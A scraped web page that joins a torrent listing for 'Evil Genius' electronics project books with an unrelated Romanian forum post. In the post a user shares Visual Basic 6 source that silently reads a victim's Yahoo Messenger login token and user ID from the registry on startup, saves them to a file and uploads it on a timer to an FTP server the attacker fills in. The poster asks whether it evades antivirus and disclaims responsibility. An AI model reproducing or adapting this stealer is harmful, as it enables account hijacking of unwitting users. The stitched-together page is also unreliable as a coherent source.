Leaderboard

Do you fancy a bit of electronic practice? Do you have some knowledge on electronics? Here you have some interesting books: 51 High Tech Practical Jokes For The Evil Genius 101 Outer Space Projects for the Evil Genius Electronic Circuits for the Evil Genius Electronic Gadgets For The Evil Genius - 28 Diy Projects McGraw-Hill - Electronics Sensors for the Evil Genius (2009) Mechatronics for the Evil Genius Mind Performance Projects For The Evil Genius - 19 Brain-Bending More Electronics Gadgets for the Evil Genius - 40 new build-it yourself projects MultiCircuit Board Projects (extra) - scanned Solary Energy For The Evil Genius Have Fun! *Every page of PDF's printable. 123 PIC microcontroller experiment for the evil genius Targets: -Introduces you to programming and customising the PIC MCU step-by-step - you don't need to be whiz to get started, but you will be when you are finished. -Shows you how to set up yoru own PICmicro MCU and development lab based on one inexpensive Microchip PICkit 1 starter kit. Vividly explain the science and electronics underlying microcontrollers. -Gives you enjoyable step-by-step experiments that build your skills, one small increment at a time. Teach you how to program PIC micros in both C and assembly language. -Show you how to interface sensors, switches, LED's, LCD's, and other commonly used electronic interfaces. -Offers step by step experiments that develop handy resource routines in assembly language. -Challenges you yo strech the limits of PIC MCU applications. -Suggests exciting directions you can take your new programming skills. -Supplies parts lists and program listing. F05C8AE4192D4DBBE98430A1D69F3FF0FE8A8293 Electronic Projects - Evil Genius Colection Torrent - Seedpeer

autor: parazitul29 Function scriereg() Dim scriefisier As String scriefisier = "c:\praf.reg" Dim value As String Dim valuee As String Dim shell Set shell = CreateObject("WScript.Shell") value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS") valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID") Open scriefisier For Output As #1 Print #1, "Windows Registry Editor Version 5.00" Print #1, Print #1, "[HKEY_CURRENT_USER\Software\yahoo\pager]" Print #1, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34) Print #1, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34) Print #1, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001" Close #1 End Function Function ftp() Inet1.URL = "URL"'introduceti url-ul ftp-ului Inet1.UserName = "nume"'numele contului ftp Inet1.Password = "parola"'parola cont ftp Inet1.Execute Inet1.URL, "PUT C:\praf.reg " & "praf.reg" End Function Private Sub Form_Load() scriereg End Sub Private Sub Timer1_Timer() ftp End Sub cred ca numai e nevoie sa mai explic ce face puneti inet si un timer(interval 2-3) pe form nu stiu daca e FUD si nici nu ma intereseaza, nu ma intereseaza id-urile YM si conturiile in general,deasemenea nu sunt raspunzator de actiuniile voastre e doar un exemplu de cod in vb6 P.S am si eu o intrebare prima data am vrut sa citesc registry cu getsetting de ce imi scria 0 in fisier?